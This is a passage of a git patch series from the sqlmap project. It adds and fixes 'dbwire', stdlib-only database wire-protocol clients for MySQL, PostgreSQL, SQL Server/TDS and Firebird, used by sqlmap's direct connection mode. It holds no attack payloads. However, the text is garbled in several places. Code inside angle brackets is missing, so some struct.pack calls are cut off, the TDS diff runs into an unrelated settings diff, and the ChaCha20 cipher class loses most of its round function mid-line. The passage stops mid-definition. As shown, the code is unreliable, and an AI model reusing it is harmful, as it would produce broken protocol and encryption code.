From 9d08b1dc035457f2b0dfcefa18032b05fd2ac5a6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 12 Jul 2026 12:01:51 +0200 Subject: [PATCH 01/15] Some more bug fixes for dbwire --- extra/dbwire/mysql.py | 26 ++++++++++++++++----- extra/dbwire/postgres.py | 49 +++++++++++++++++++++++++++++++++++++--- extra/dbwire/tds.py | 27 +++++++++++++--------- lib/core/settings.py | 2 +- 4 files changed, 83 insertions(+), 21 deletions(-) diff --git a/extra/dbwire/mysql.py b/extra/dbwire/mysql.py index 4f9b672622..6d1773ba57 100644 --- a/extra/dbwire/mysql.py +++ b/extra/dbwire/mysql.py @@ -36,10 +36,11 @@ _MAX_PACKET = 0x1000000 _MAX_MESSAGE_LENGTH = 0x40000000 # cap on a (re-assembled) payload, to bound a hostile/corrupt stream _BINARY_CHARSET = 63 # collation id 63 == 'binary' -# field types for which charset==63 genuinely denotes raw bytes (BLOB/BINARY/VARBINARY/BIT/GEOMETRY family). +# field types for which charset==63 genuinely denotes raw bytes (BLOB/BINARY/VARBINARY/GEOMETRY family). # Numeric & temporal columns ALSO report charset 63 in the text protocol, but carry their ASCII text form - # they must be decoded, not returned as bytes (else -d hexifies e.g. the int 12345 to '3132333435'). -_BINARY_TYPES = frozenset((15, 16, 249, 250, 251, 252, 253, 254, 255)) # VARCHAR,BIT,*BLOB,VAR_STRING,STRING,GEOMETRY +_BINARY_TYPES = frozenset((15, 249, 250, 251, 252, 253, 254, 255)) # VARCHAR,*BLOB,VAR_STRING,STRING,GEOMETRY +_TYPE_BIT = 16 # BIT reports charset 63 but is decoded to a big-endian integer (matches SQLAlchemy/mysql-connector) def _xor(a, b): if str is bytes: # Python 2 @@ -117,6 +118,12 @@ def _err_message(payload): off = 9 return payload[off:].decode("utf-8", "replace") +def _bit_int(value): + n = 0 # BIT arrives as a big-endian byte string + for b in bytearray(value): + n = (n << 8) | b + return n + def _scramble_native(password, salt): if not password: return b"" @@ -232,6 +239,8 @@ def _read_query_response(self): value, off = _lenc_str(payload, off) if value is None: row.append(None) + elif description[i][1] == _TYPE_BIT: + row.append(str(_bit_int(value))) # big-endian integer, e.g. b'\x2a' -> '42' elif binary[i]: row.append(value) # keep binary/BLOB columns as raw bytes (sqlmap hex-encodes them) else: @@ -327,10 +336,15 @@ def connect(host=None, port=3306, user=None, password=None, database=None, conne raise OperationalError("handshake failed (%s)" % ex) connection = Connection(sock) - try: - connection._query("SET autocommit=1") # so DML persists even if the server default is autocommit=0 - except Exception: - pass + # SET NAMES: reset collation_connection to the server's default (the fixed handshake collation 45 = + # utf8mb4_general_ci otherwise clashes with MySQL 8's utf8mb4_0900_ai_ci columns -> 'illegal mix of + # collations' 1271 in a UNION/CONCAT); results stay utf8mb4 so the utf-8 decode is unchanged. autocommit=1 + # so DML persists even if the server default is autocommit=0. Both best-effort (one-time, at connect). + for setup in ("SET NAMES utf8mb4", "SET autocommit=1"): + try: + connection._query(setup) + except Exception: + pass return connection def _safe_close(sock): diff --git a/extra/dbwire/postgres.py b/extra/dbwire/postgres.py index 031ec6b3d1..227fe69547 100644 --- a/extra/dbwire/postgres.py +++ b/extra/dbwire/postgres.py @@ -32,6 +32,28 @@ _PROTOCOL_VERSION = 196608 # 3.0 _MAX_MESSAGE_LENGTH = 0x40000000 # 1 GB - guard against a hostile/corrupt length triggering an unbounded read +_OID_BYTEA = 17 # bytea arrives as the server's text form; decode to bytes so it hexes like the native driver + +def _decode_bytea(raw): + # PG text output: modern 'hex' = b'\\x'; legacy 'escape' = octal \ooo + literal bytes + if raw[:2] == b"\\x": + try: + return binascii.unhexlify(raw[2:]) + except (binascii.Error, ValueError): + return raw.decode("utf-8", "replace") + src, out, i, n = bytearray(raw), bytearray(), 0, len(raw) + while i < n: + if src[i] == 0x5c and i + 1 < n: # backslash + nxt = src[i + 1] + if nxt == 0x5c: + out.append(0x5c); i += 2 + elif 0x30 <= nxt <= 0x37 and i + 3 < n: # \ooo octal + out.append(((nxt - 48) << 6) | ((src[i + 2] - 48) << 3) | (src[i + 3] - 48)); i += 4 + else: + out.append(nxt); i += 2 + else: + out.append(src[i]); i += 1 + return bytes(out) # SQLSTATE class (first 2 chars) -> DB-API exception, so callers can distinguish (mirrors psycopg2) _SQLSTATE_CLASS = { @@ -114,6 +136,7 @@ def close(self): class Connection(object): def __init__(self, sock): self._sock = sock + self._txn_status = b"I" # last ReadyForQuery transaction status: I(dle) / T(ransaction) / E(rror) def cursor(self): return Cursor(self) @@ -134,7 +157,19 @@ def close(self): except Exception: pass + def _clear_aborted(self): + # a prior statement left an aborted transaction block ('E'): every further statement errors with + # 25P02 until it is rolled back. Clear it so the reused connection recovers (psycopg2 rollback semantics). + _send(self._sock, b"Q", b"ROLLBACK\x00") + while True: + mtype, payload = _read_message(self._sock) + if mtype == b"Z": + self._txn_status = payload[:1] or b"I" + break + def _simple_query(self, query): + if self._txn_status == b"E": + self._clear_aborted() _send(self._sock, b"Q", query.encode("utf-8") + b"\x00") description, rows, rowcount, error = None, [], -1, None @@ -154,7 +189,7 @@ def _simple_query(self, query): elif mtype == b"D": # DataRow (count,) = struct.unpack("!H", payload[:2]) off, row = 2, [] - for _ in range(count): + for col in range(count): (vlen,) = struct.unpack("!i", payload[off:off + 4]) off += 4 if vlen == -1: @@ -162,8 +197,15 @@ def _simple_query(self, query): else: if off + vlen > len(payload): raise InterfaceError("truncated DataRow") - row.append(payload[off:off + vlen].decode("utf-8", "replace")) + raw = payload[off:off + vlen] off += vlen + if description and col < len(description) and description[col][1] == _OID_BYTEA: + row.append(_decode_bytea(raw)) # bytes so sqlmap hex-encodes it (like the native driver) + else: + try: + row.append(raw.decode("utf-8")) + except UnicodeDecodeError: + row.append(raw) # non-UTF-8 (e.g. a SQL_ASCII db): keep bytes (hex-encoded), not lossy U+FFFD rows.append(tuple(row)) elif mtype == b"C": # CommandComplete ("SELECT 3", "INSERT 0 1", ...) tag = payload[:-1].decode("utf-8", "replace").split() @@ -173,7 +215,8 @@ def _simple_query(self, query): _send(self._sock, b"f", b"COPY FROM STDIN is not supported\x00") # CopyFail elif mtype == b"E": # ErrorResponse error = _error_message(payload) - elif mtype == b"Z": # ReadyForQuery (end of response) + elif mtype == b"Z": # ReadyForQuery (end of response); payload byte = transaction status + self._txn_status = payload[:1] or b"I" break # ParameterStatus(S)/NoticeResponse(N)/EmptyQueryResponse(I)/CopyData(d)/CopyDone(c)/... ignored except (struct.error, IndexError, ValueError) as ex: diff --git a/extra/dbwire/tds.py b/extra/dbwire/tds.py index 28ec16d041..fe4a4dbb6a 100644 --- a/extra/dbwire/tds.py +++ b/extra/dbwire/tds.py @@ -131,7 +131,10 @@ def _login7(sock, user, password, database, hostname="dbwire", appname="dbwire") header += struct.pack("...) -VERSION = "1.10.7.87" +VERSION = "1.10.7.88" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 05005dde58329b6e76b235e40df06c20479c8387 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 12 Jul 2026 12:55:58 +0200 Subject: [PATCH 02/15] Minor update of dbwire --- extra/dbwire/README.md | 68 ++++ extra/dbwire/firebird.py | 838 +++++++++++++++++++++++++++++++++++++++ lib/core/dicts.py | 1 + lib/core/settings.py | 2 +- 4 files changed, 908 insertions(+), 1 deletion(-) create mode 100644 extra/dbwire/README.md create mode 100644 extra/dbwire/firebird.py diff --git a/extra/dbwire/README.md b/extra/dbwire/README.md new file mode 100644 index 0000000000..8573841295 --- /dev/null +++ b/extra/dbwire/README.md @@ -0,0 +1,68 @@ +# dbwire + +Minimal, dependency-free database wire-protocol clients used as a fallback for sqlmap's direct +(`-d`) connection mode. + +## What this is + +sqlmap's `-d` mode talks to a database server directly instead of through an injection point. It +normally does so via a native driver (`psycopg2`, `pymysql`, `pymssql`, ...) or, if one is missing, +via SQLAlchemy. When neither is installed, `dbwire` provides a small pure-python client so that `-d` +still works out of the box. + +Every module here is written against the database's **wire protocol** using only the Python standard +library (`socket`, `struct`, `hashlib`, `hmac`, `base64`, `urllib`). There are no third-party +dependencies, and the sources run unmodified on Python 2.7 and Python 3. + +## Coverage + +A wire protocol is shared across a whole family of products, so one client serves several engines: + +| Module | Protocol | Engines | +|-----------------|---------------------|---------| +| `postgres.py` | PostgreSQL v3 | PostgreSQL, CockroachDB, CrateDB, Redshift, Greenplum | +| `mysql.py` | MySQL client/server | MySQL, MariaDB, TiDB, Aurora (MySQL), Percona | +| `tds.py` | TDS | Microsoft SQL Server, Sybase | +| `firebird.py` | Firebird wire | Firebird 3 / 4 / 5 | +| `clickhouse.py` | HTTP (TabSeparated) | ClickHouse and HTTP-compatible forks | +| `monetdb.py` | MAPI | MonetDB | +| `presto.py` | HTTP/REST (JSON) | Presto, Trino | + +The mapping from a DBMS to its module lives in `lib/core/dicts.py` (`DBWIRE_MODULES`). The connector +tier order is: native driver, then SQLAlchemy, then dbwire. + +## Interface + +Each module exposes a small [PEP 249](https://peps.python.org/pep-0249/) (DB-API 2.0) subset: + +- `connect(host, port, user, password, database, connect_timeout, ...)` -> `Connection` +- `Connection.cursor()`, `.commit()`, `.rollback()`, `.close()` +- `Cursor.execute(query)`, `.fetchall()`, `.fetchone()`, `.close()`, `.description`, `.rowcount` +- the shared exception hierarchy in `__init__.py` (`Error` -> `InterfaceError` / `DatabaseError` -> + `OperationalError` / `DataError` / `IntegrityError` / `ProgrammingError` / `InternalError` / + `NotSupportedError`) + +It is deliberately read-oriented for sqlmap's use: `execute()` takes a fully-formed query string +(no parameter binding), statements auto-commit, and binary column values are returned as `bytes` so +that sqlmap renders them as hex. + +## Scope and limitations + +This is a fallback for `-d`, not a general-purpose driver. It intentionally does not implement +parameter binding, prepared statements, bulk load/`COPY`, or TLS. Notable per-protocol notes: + +- **PostgreSQL** - `trust`, cleartext, MD5 and SCRAM-SHA-256 authentication. +- **MySQL** - `mysql_native_password` and the `caching_sha2_password` fast path. Full + `caching_sha2_password` authentication over a plaintext connection requires RSA/TLS and is not + supported; use a `mysql_native_password` account for the dependency-free path. +- **TDS** - cleartext login only. Servers that force encryption (for example Azure SQL Database) + require TLS and are not supported here; the native driver or SQLAlchemy tier covers those. +- **Firebird** - SRP-256 (and SRP) authentication with ChaCha20 or RC4 wire encryption, as required by + default on Firebird 3 and later. Legacy (pre-SRP) authentication is not implemented. + +When a case is not supported, the client raises a clear `NotSupportedError` rather than returning +wrong data, so `-d` cleanly falls through to another connector tier where possible. + +--- + +Part of [sqlmap](https://sqlmap.org). See the top-level `LICENSE` for copying permission. diff --git a/extra/dbwire/firebird.py b/extra/dbwire/firebird.py new file mode 100644 index 0000000000..0e1c8ec5af --- /dev/null +++ b/extra/dbwire/firebird.py @@ -0,0 +1,838 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +""" +Minimal pure-python Firebird wire-protocol client (stdlib only, no firebirdsql). + +Speaks the Firebird v13-17 protocol (Firebird 3/4/5): op_connect, SRP-256 authentication, ChaCha20 (or +Arc4) wire encryption - which Firebird 4+ requires by default - then attach / transaction / prepare / +execute / fetch with XSQLDA column description and row decoding. Read-oriented for sqlmap: execute() takes +a fully-formed query string, binary/blob values come back as bytes (sqlmap hex-encodes them). +""" + +import datetime +import hashlib +import os +import socket +import struct + +from extra.dbwire import DatabaseError +from extra.dbwire import DataError +from extra.dbwire import IntegrityError +from extra.dbwire import InterfaceError +from extra.dbwire import NotSupportedError +from extra.dbwire import OperationalError + +# operation codes +_op_connect = 1 +_op_accept = 3 +_op_reject = 4 +_op_response = 9 +_op_attach = 19 +_op_detach = 21 +_op_transaction = 29 +_op_commit_retaining = 50 +_op_rollback_retaining = 86 +_op_get_segment = 36 +_op_close_blob = 39 +_op_open_blob2 = 56 +_op_allocate_statement = 62 +_op_execute = 63 +_op_fetch = 65 +_op_fetch_response = 66 +_op_free_statement = 67 +_op_prepare_statement = 68 +_op_info_sql = 70 +_op_dummy = 71 +_op_cont_auth = 92 +_op_crypt = 96 +_op_accept_data = 94 +_op_cond_accept = 98 + +# CNCT parameter codes +_CNCT_user = 1 +_CNCT_host = 4 +_CNCT_user_verification = 6 +_CNCT_specific_data = 7 +_CNCT_plugin_name = 8 +_CNCT_login = 9 +_CNCT_plugin_list = 10 +_CNCT_client_crypt = 11 + +# database / transaction parameter block items +_isc_dpb_version1 = 1 +_isc_dpb_user_name = 28 +_isc_dpb_lc_ctype = 48 +_isc_dpb_process_id = 71 +_isc_dpb_process_name = 74 +_isc_tpb_version3 = 3 +_isc_tpb_wait = 6 +_isc_tpb_write = 9 +_isc_tpb_read_committed = 15 +_isc_tpb_rec_version = 17 + +# isc_info_sql_* describe items +_isc_info_end = 1 +_isc_info_truncated = 2 +_isc_info_sql_select = 4 +_isc_info_sql_describe_vars = 7 +_isc_info_sql_describe_end = 8 +_isc_info_sql_sqlda_seq = 9 +_isc_info_sql_type = 11 +_isc_info_sql_sub_type = 12 +_isc_info_sql_scale = 13 +_isc_info_sql_length = 14 +_isc_info_sql_null_ind = 15 +_isc_info_sql_field = 16 +_isc_info_sql_relation = 17 +_isc_info_sql_owner = 18 +_isc_info_sql_alias = 19 +_isc_info_sql_sqlda_start = 20 +_isc_info_sql_stmt_type = 21 +_INFO_SQL_SELECT_DESCRIBE_VARS = bytes(bytearray([ + _isc_info_sql_select, _isc_info_sql_describe_vars, _isc_info_sql_sqlda_seq, + _isc_info_sql_type, _isc_info_sql_sub_type, _isc_info_sql_scale, _isc_info_sql_length, + _isc_info_sql_null_ind, _isc_info_sql_field, _isc_info_sql_relation, _isc_info_sql_owner, + _isc_info_sql_alias, _isc_info_sql_describe_end])) + +_isc_info_sql_stmt_select = 1 +_DSQL_drop = 2 + +# SQL type codes +_SQL_VARYING = 448 +_SQL_TEXT = 452 +_SQL_DOUBLE = 480 +_SQL_FLOAT = 482 +_SQL_LONG = 496 +_SQL_SHORT = 500 +_SQL_TIMESTAMP = 510 +_SQL_BLOB = 520 +_SQL_TIME = 560 +_SQL_DATE = 570 +_SQL_INT64 = 580 +_SQL_INT128 = 32752 +_SQL_TIMESTAMP_TZ = 32754 +_SQL_TIME_TZ = 32756 +_SQL_BOOLEAN = 32764 +_SQL_TYPE_LENGTH = { # fixed on-the-wire length by SQL type (VARYING is length-prefixed -> -1) + _SQL_VARYING: -1, _SQL_SHORT: 4, _SQL_LONG: 4, _SQL_FLOAT: 4, _SQL_TIME: 4, _SQL_DATE: 4, + _SQL_DOUBLE: 8, _SQL_TIMESTAMP: 8, _SQL_BLOB: 8, _SQL_INT64: 8, _SQL_INT128: 16, + _SQL_TIMESTAMP_TZ: 12, _SQL_TIME_TZ: 8, _SQL_BOOLEAN: 1, +} +# per-type output BLR fragment used to describe the fetched row (see calc_blr) +_SQL_TYPE_BLR = { + _SQL_DOUBLE: [27], _SQL_FLOAT: [10], _SQL_DATE: [12], _SQL_TIME: [13], _SQL_TIMESTAMP: [35], + _SQL_BLOB: [9, 0], _SQL_BOOLEAN: [23], _SQL_TIME_TZ: [28], _SQL_TIMESTAMP_TZ: [29], +} + +# status-vector argument tags +_isc_arg_end = 0 +_isc_arg_gds = 1 +_isc_arg_string = 2 +_isc_arg_number = 4 +_isc_arg_interpreted = 5 +_isc_arg_sql_state = 19 +_GDS_INTEGRITY = frozenset((335544838, 335544879, 335544880, 335544466, 335544665, 335544347, 335544558)) +_GDS_DATA = frozenset((335544321,)) +_GDS_WARNING = 335544434 + +# SRP-6a group used by Firebird (fixed 1024-bit prime, generator 2) +_SRP_N = int("E67D2E994B2F900C3F41F08F5BB2627ED0D49EE1FE767A52EFCD565CD6E768812C3E1E9CE8F0A8BEA6CB13CD29DDE" + "BF7A96D4A93B55D488DF099A15C89DCB0640738EB2CBDD9A8F7BAB561AB1B0DC1C6CDABF303264A08D1BCA932D1F" + "1EE428B619D970F342ABA9A65793B8B2F041AE5364350C16F735F56ECBCA87BD57B29E7", 16) +_SRP_g = 2 +_SRP_k = 1277432915985975349439481660349303019122249719989 + +def _minbe(n): + # minimal big-endian bytes of a non-negative integer (matches firebirdsql long2bytes/pad for these sizes) + out = bytearray() + while n > 0: + out.insert(0, n & 0xff) + n >>= 8 + return bytes(out) + +def _b2l(b): + n = 0 + for c in bytearray(b): + n = (n << 8) | c + return n + +def _sha1(*parts): + h = hashlib.sha1() + for p in parts: + h.update(p if isinstance(p, bytes) else _minbe(p)) + return h.digest() + +def _srp_client_seed(): + a = _b2l(os.urandom(16)) # client private key (128-bit) + return pow(_SRP_g, a, _SRP_N), a + +def _srp_client_proof(user, password, salt, A, B, a, hash_algo): + # session key K (always SHA-1) then the Firebird-specific proof M (SHA-1 for Srp, SHA-256 for Srp256) + u = _b2l(_sha1(_minbe(A), _minbe(B))) + x = _b2l(_sha1(salt, _sha1(user, b":", password))) + S = pow((B - _SRP_k * pow(_SRP_g, x, _SRP_N)) % _SRP_N, (a + u * x) % _SRP_N, _SRP_N) + K = _sha1(_minbe(S)) + n1 = _b2l(_sha1(_minbe(_SRP_N))) + n2 = _b2l(_sha1(_minbe(_SRP_g))) + n1 = pow(n1, n2, _SRP_N) # NOTE: modular exponentiation, not XOR (Firebird quirk) + n2 = _b2l(_sha1(user)) + h = hash_algo() + for p in (_minbe(n1), _minbe(n2), salt, _minbe(A), _minbe(B), K): + h.update(p) + return h.digest(), K + +class _ARC4(object): + def __init__(self, key): + s = list(range(256)) + key = bytearray(key) + j = 0 + for i in range(256): + j = (j + s[i] + key[i % len(key)]) & 0xff + s[i], s[j] = s[j], s[i] + self._s, self._i, self._j = s, 0, 0 + + def translate(self, data): + s, i, j, out = self._s, self._i, self._j, bytearray() + for c in bytearray(data): + i = (i + 1) & 0xff + j = (j + s[i]) & 0xff + s[i], s[j] = s[j], s[i] + out.append(c ^ s[(s[i] + s[j]) & 0xff]) + self._i, self._j = i, j + return bytes(out) + +class _ChaCha20(object): + _SIGMA = b"expand 32-byte k" + + def __init__(self, key, nonce): + self._nonce = nonce + self._counter = 0 + block = self._SIGMA + key + self._ctr_bytes() + nonce + self._state = list(struct.unpack("<16L", block)) + self._make_block() + + def _ctr_bytes(self): + return struct.pack("> (32 - n))) & 0xffffffff + x[a] = (x[a] + x[b]) & 0xffffffff; x[d] = rot(x[d] ^ x[a], 16) + x[c] = (x[c] + x[d]) & 0xffffffff; x[b] = rot(x[b] ^ x[c], 12) + x[a] = (x[a] + x[b]) & 0xffffffff; x[d] = rot(x[d] ^ x[a], 8) + x[c] = (x[c] + x[d]) & 0xffffffff; x[b] = rot(x[b] ^ x[c], 7) + + def translate(self, data): + out = bytearray() + block = bytearray(self._block) + for c in bytearray(data): + out.append(c ^ block[self._pos]) + self._pos += 1 + if self._pos == 64: + self._counter += 1 + cb = self._ctr_bytes() + self._state[12] = struct.unpack(" (plugin, nonce) + plugins, nonces, buf, i = [], [], bytearray(buf), 0 + while i < len(buf): + t, ln = buf[i], buf[i + 1] + v = bytes(buf[i + 2:i + 2 + ln]) + i += 2 + ln + if t == 1: + plugins = v.split() + elif t == 3: + nonces.append(v) + if b"ChaCha64" in plugins: + for s in nonces: + if s[:9] == b"ChaCha64\x00": + return b"ChaCha64", s[9:] + if b"ChaCha" in plugins: + for s in nonces: + if s[:7] == b"ChaCha\x00": + return b"ChaCha", s[7:7 + 12] + if b"Arc4" in plugins: + return b"Arc4", None + return None, None + +class _Wire(object): + def __init__(self, sock): + self._sock = sock + self._rc = self._wc = None + + def set_ciphers(self, rc, wc): + self._rc, self._wc = rc, wc + + def send(self, data): + self._sock.sendall(self._wc.translate(data) if self._wc else data) + + def _recv_raw(self, n): + buf = b"" + while len(buf) < n: + chunk = self._sock.recv(n - len(buf)) + if not chunk: + raise InterfaceError("connection closed by server") + buf += chunk + return buf + + def recv(self, n, align=False): + total = n + ((4 - n % 4) % 4) if align else n + data = self._recv_raw(total) + if self._rc: + data = self._rc.translate(data) + return data[:n] + + def recv_int(self): + return struct.unpack("!i", self.recv(4))[0] + + def recv_bytes(self): + return self.recv(self.recv_int(), align=True) + + def close(self): + try: + self._sock.close() + except Exception: + pass + +def _pack_int(v): + return struct.pack("!i", v) + +def _pack_bytes(v): + return _pack_int(len(v)) + v + b"\x00" * ((4 - len(v) % 4) % 4) + +def _le(b): + n = 0 + for c in reversed(bytearray(b)): + n = (n << 8) | c + return n + +def _le_signed(b): + n = _le(b) # info-buffer scalars are little-endian; scale is signed (usually negative) + if b and (bytearray(b)[-1] & 0x80): + n -= 1 << (8 * len(b)) + return n + +def _b2i_signed(b): + n = _b2l(b) + if bytearray(b) and bytearray(b)[0] & 0x80: + n -= 1 << (8 * len(b)) + return n + +def _scaled(n, scale): + # integer n represents n * 10**scale (scale <= 0); render as an exact decimal string + if scale >= 0: + return str(n * (10 ** scale)) + digits = "%0*d" % (-scale + 1, abs(n)) + return ("-" if n < 0 else "") + digits[:scale] + "." + digits[scale:] + +_EPOCH_DAYS = datetime.date(1858, 11, 17).toordinal() + +def _decode_date(raw): + return datetime.date.fromordinal(_EPOCH_DAYS + struct.unpack("!i", raw)[0]) + +def _decode_time(raw): + n = struct.unpack("!I", raw)[0] + s, frac = divmod(n, 10000) + return datetime.time(s // 3600, (s // 60) % 60, s % 60, frac * 100) + +class _Column(object): + __slots__ = ("name", "sqltype", "subtype", "scale", "length") + + def io_length(self): + return self.length if self.sqltype == _SQL_TEXT else _SQL_TYPE_LENGTH[self.sqltype] + +class Cursor(object): + def __init__(self, connection): + self.connection = connection + self.description = None + self.rowcount = -1 + self._rows = [] + self._pos = 0 + + def execute(self, query, params=None): + if params is not None: + raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string") + self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0 + self.description, self._rows = self.connection._query(query) + self.rowcount = len(self._rows) + return self + + def fetchall(self): + retVal = self._rows[self._pos:] + self._pos = len(self._rows) + return retVal + + def fetchone(self): + if self._pos >= len(self._rows): + return None + retVal = self._rows[self._pos] + self._pos += 1 + return retVal + + def close(self): + self._rows = [] + +class Connection(object): + def __init__(self, wire, filename, user, password): + self._wire = wire + self._filename = filename + self._user = user + self._password = password + self._db_handle = None + self._trans_handle = None + + def cursor(self): + return Cursor(self) + + def commit(self): + if self._trans_handle is not None: + self._send(_pack_int(_op_commit_retaining) + _pack_int(self._trans_handle)) + self._response() + + def rollback(self): + if self._trans_handle is not None: + self._send(_pack_int(_op_rollback_retaining) + _pack_int(self._trans_handle)) + self._response() + + def close(self): + try: + if self._db_handle is not None: + self._send(_pack_int(_op_detach) + _pack_int(self._db_handle)) + self._response() + except Exception: + pass + self._wire.close() + + # ---- wire helpers ---- + + def _send(self, data): + self._wire.send(data) + + def _response(self): + op = self._wire.recv_int() + while op == _op_dummy: + op = self._wire.recv_int() + if op != _op_response: + raise OperationalError("unexpected Firebird operation %d" % op) + return self._parse_response() + + def _parse_response(self): + head = self._wire.recv(16) + handle = struct.unpack("!i", head[:4])[0] + object_id = head[4:12] + buf = self._wire.recv(struct.unpack("!i", head[12:16])[0], align=True) + self._check_status() + return handle, object_id, buf + + def _check_status(self): + gds, message = set(), "" + n = self._wire.recv_int() + while n != _isc_arg_end: + if n == _isc_arg_gds: + gds_code = self._wire.recv_int() + if gds_code: + gds.add(gds_code) + elif n == _isc_arg_number: + message += " %d" % self._wire.recv_int() + elif n in (_isc_arg_string, _isc_arg_interpreted, _isc_arg_sql_state): + s = self._wire.recv(self._wire.recv_int(), align=True) + if n != _isc_arg_sql_state: + message += " " + s.decode("utf-8", "replace") + n = self._wire.recv_int() + if gds: + message = ("(remote) firebird error %s%s" % (sorted(gds), message)).strip() + if gds & _GDS_INTEGRITY: + raise IntegrityError(message) + if gds & _GDS_DATA: + raise DataError(message) + if _GDS_WARNING not in gds: + raise OperationalError(message) + + # ---- query ---- + + def _query(self, query): + try: + return self._run(query) + except (struct.error, IndexError, ValueError, KeyError) as ex: + raise InterfaceError("malformed server response: %s" % ex) + + def _run(self, query): + qbytes = query.encode("utf-8") + self._send(_pack_int(_op_allocate_statement) + _pack_int(self._db_handle)) + stmt = self._response()[0] + + desc_items = bytes(bytearray([_isc_info_sql_stmt_type])) + _INFO_SQL_SELECT_DESCRIBE_VARS + self._send(_pack_int(_op_prepare_statement) + _pack_int(self._trans_handle) + _pack_int(stmt) + + _pack_int(3) + _pack_bytes(qbytes) + _pack_bytes(desc_items) + _pack_int(1024)) + buf = self._response()[2] + stmt_type, columns = self._parse_describe(stmt, buf) + + exec_msg = (_pack_int(_op_execute) + _pack_int(stmt) + _pack_int(self._trans_handle) + + _pack_bytes(b"") + _pack_int(0) + _pack_int(0) + _pack_int(0)) + self._send(exec_msg) + self._response() + + description, rows = None, [] + if stmt_type == _isc_info_sql_stmt_select and columns: + description = [(c.name, c.sqltype, None, None, None, None, None) for c in columns] + rows = self._fetch(stmt, columns) + self._send(_pack_int(_op_free_statement) + _pack_int(stmt) + _pack_int(_DSQL_drop)) + self._response() + return description, rows + + def _parse_describe(self, stmt, buf): + stmt_type, columns = None, [] + i = 0 + while i < len(buf): + if bytearray(buf[i:i + 3]) == bytearray([_isc_info_sql_stmt_type, 4, 0]): + stmt_type = _le(buf[i + 3:i + 7]) + i += 7 + elif bytearray(buf[i:i + 2]) == bytearray([_isc_info_sql_select, _isc_info_sql_describe_vars]): + i += 2 + ln = _le(buf[i:i + 2]); i += 2 + count = _le(buf[i:i + ln]); i += ln + columns = [_Column() for _ in range(count)] + next_index = self._parse_items(buf[i:], columns) + while next_index > 0: # describe buffer truncated: request the remaining columns + self._send(_pack_int(_op_info_sql) + _pack_int(stmt) + _pack_int(0) + _pack_bytes( + bytes(bytearray([_isc_info_sql_sqlda_start, 2])) + struct.pack("> 8] + for c in columns: + t = c.sqltype + if t == _SQL_VARYING: + blr += [37, c.length & 0xff, c.length >> 8] + elif t == _SQL_TEXT: + blr += [14, c.length & 0xff, c.length >> 8] + elif t == _SQL_LONG: + blr += [8, c.scale] + elif t == _SQL_SHORT: + blr += [7, c.scale] + elif t == _SQL_INT64: + blr += [16, c.scale] + elif t == _SQL_INT128: + blr += [26, c.scale] + else: + blr += _SQL_TYPE_BLR[t] + blr += [7, 0] + blr += [255, 76] + return bytes(bytearray((256 + b) if b < 0 else b for b in blr)) + + def _fetch(self, stmt, columns): + blr = self._calc_blr(columns) + nbytes = (len(columns) + 7) // 8 + blob_cols = [i for i, c in enumerate(columns) if c.sqltype == _SQL_BLOB] + rows = [] + more = True + while more: + self._send(_pack_int(_op_fetch) + _pack_int(stmt) + _pack_bytes(blr) + _pack_int(0) + _pack_int(400)) + op = self._wire.recv_int() + while op == _op_dummy: + op = self._wire.recv_int() + if op != _op_fetch_response: + if op == _op_response: + self._parse_response() + raise OperationalError("unexpected Firebird operation %d during fetch" % op) + status = self._wire.recv_int() + count = self._wire.recv_int() + while count: + null_bitmap = _le(self._wire.recv(nbytes, align=True)) + row = [] + for i, col in enumerate(columns): + if null_bitmap & (1 << i): + row.append(None) + continue + io = col.io_length() + ln = self._wire.recv_int() if io < 0 else io + raw = self._wire.recv(ln, align=True) + # blob columns yield an 8-byte blob id; resolve AFTER the fetch batch is fully drained + # (a blob sub-request mid-batch would interleave with the still-streaming rows and desync) + row.append(raw if col.sqltype == _SQL_BLOB else self._decode(col, raw)) + rows.append(row) + op = self._wire.recv_int() + status = self._wire.recv_int() + count = self._wire.recv_int() + more = status != 100 + for i in blob_cols: + for row in rows: + if row[i] is not None: + row[i] = self._read_blob(row[i], columns[i].subtype) + return [tuple(row) for row in rows] + + def _decode(self, col, raw): + t = col.sqltype + if t == _SQL_TEXT: + return self._decode_text(raw, rstrip=True) + if t == _SQL_VARYING: + return self._decode_text(raw, rstrip=False) + if t in (_SQL_SHORT, _SQL_LONG, _SQL_INT64, _SQL_INT128): + n = _b2i_signed(raw) + return _scaled(n, col.scale) if col.scale else str(n) + if t == _SQL_FLOAT: + return repr(struct.unpack("!f", raw)[0]) + if t == _SQL_DOUBLE: + return repr(struct.unpack("!d", raw)[0]) + if t == _SQL_BOOLEAN: + return "true" if bytearray(raw)[0] else "false" + if t == _SQL_DATE: + return "%s" % _decode_date(raw) + if t == _SQL_TIME: + return "%s" % _decode_time(raw) + if t == _SQL_TIMESTAMP: + return "%s %s" % (_decode_date(raw[:4]), _decode_time(raw[4:])) + if t == _SQL_BLOB: + return self._read_blob(raw, col.subtype) + return raw # unknown/decimal-float type -> raw bytes (sqlmap hex-encodes) + + def _decode_text(self, raw, rstrip): + try: + s = raw.decode("utf-8") + except UnicodeDecodeError: + return raw # OCTETS / binary text -> bytes (sqlmap hex-encodes) + return s.rstrip(" ") if rstrip else s + + def _read_blob(self, blob_id, subtype): + self._send(_pack_int(_op_open_blob2) + _pack_int(0) + _pack_int(self._trans_handle) + blob_id) + blob_handle = self._response()[0] + data = b"" + while True: + self._send(_pack_int(_op_get_segment) + _pack_int(blob_handle) + _pack_int(1024) + _pack_int(0)) + seg_status, _, buf = self._response() + buf = bytearray(buf) + j = 0 + while j < len(buf): + seg_len = _le(buf[j:j + 2]) + data += bytes(buf[j + 2:j + 2 + seg_len]) + j += 2 + seg_len + if seg_status == 2: # last segment + break + self._send(_pack_int(_op_close_blob) + _pack_int(blob_handle)) + self._response() + if subtype == 1: + try: + return data.decode("utf-8") + except UnicodeDecodeError: + return data + return data + +def _uid(user, plugin, 